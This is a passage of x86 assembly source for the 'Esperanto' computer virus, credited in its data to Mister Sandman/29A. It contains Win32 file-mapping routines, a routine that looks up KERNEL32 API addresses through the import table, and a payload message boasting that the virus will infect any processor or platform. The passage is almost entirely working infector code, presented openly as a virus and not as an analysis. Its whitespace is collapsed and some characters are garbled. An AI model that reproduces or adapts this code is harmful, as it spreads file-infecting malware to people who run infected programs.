pushdwordptr[ebp+finddata+WFD_nFileSizeLow]
push0
push0
pushFILE_MAP_WRITE
pushdwordptr[ebp+maphandle]
leaeax,dwordptr[ebp+mapview_a]
calldwordptr[eax]
xchgebx,eax
orebx,ebx
jzclose_mapping
ret
; <20>Ĵ Unmap a file in memory <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> EBX => handle of memory-mapped file
;
; Exit:
; <20> EBX => null, file unmapped
; Unmap view of file
unmap_close:xchgebx,eax
pusheax
leaeax,dwordptr[ebp+unmapview_a]
calldwordptr[eax]
; Close handle created by CreateFileMappingA
close_mapping:pushdwordptr[ebp+maphandle]
leaeax,dwordptr[ebp+closehandle_a]
calldwordptr[eax]
; Close handle created by CreateFileA
close_handle:pushdwordptr[ebp+crfhandle]
leaeax,dwordptr[ebp+closehandle_a]
calldwordptr[eax]
; And leave with EBX = 0
exit_mapping:xorebx,ebx
ret
; <20>Ĵ Look for the RVA of a given API by name <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; Entry:
; <20> EDX => Section <20>elta-offset
; <20> ESI => Import address table for KERNEL32.DLL
; <20> EDI => Given API name to look for
;
; Exit:
; EAX => RVA of the given API, or 0 if error
; Look for a given API (in EDI) whose RVA we
; are looking for by means of the structure
; IMAGE_IMPORT_BY_NAME, pointed by every dword
; in the thunk data array. First step consists
; on looking for its address (in ESI)
look4name:lodsd
oreax,eax
jzinp_not_found
; Once found, we get a pointer to the first
; function name of this structure, and compare
; it with the name of the API we look for
pushesiedi
subeax,edx
leaesi,dwordptr[eax+ebx+2]
name_by_name:lodsb
oral,al
jzinput_found
scasb
jename_by_name
popediesi
jmplook4name
; In case names match, we go and get the
; RVA of the function we've just found in
; the IAT. Otherwise we keep on searching
input_found:popediesi
leaeax,dwordptr[esi-4]
subeax,ebx
addeax,edx
ret
; If we couldn't find the RVA of the API,
; then we return with EAX equal to zero
inp_not_found:xoreax,eax
ret
; <20> Data area for the Intel modules <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
text_startlabelbyte
virus_authordb'[Esperanto, by Mister Sandman/29A]',0
virus_text
db'Never mind your culture / Ne gravas via kulturo,',0dh,0ah
db'Esperanto will go beyond it / Esperanto preterpasos gxin;',0dh,0ah
db'never mind the differences / ne gravas la diferencoj,',0dh,0ah
db'Esperanto will overcome them / Esperanto superos ilin.',0dh,0ah
db0dh,0ah
db'Never mind your processor / Ne gravas via procesoro,',0dh,0ah
db'Esperanto will work in it / Esperanto funkcios sub gxi;',0dh,0ah
db'never mind your platform / Ne gravas via platformo,',0dh,0ah
db'Esperanto will infect it / Esperanto infektos gxin.',0dh,0ah
db0dh,0ah
db'Now not only a human language, but also a virus...',0dh,0ah
db'Turning impossible into possible, Esperanto.',0dh,0ah,0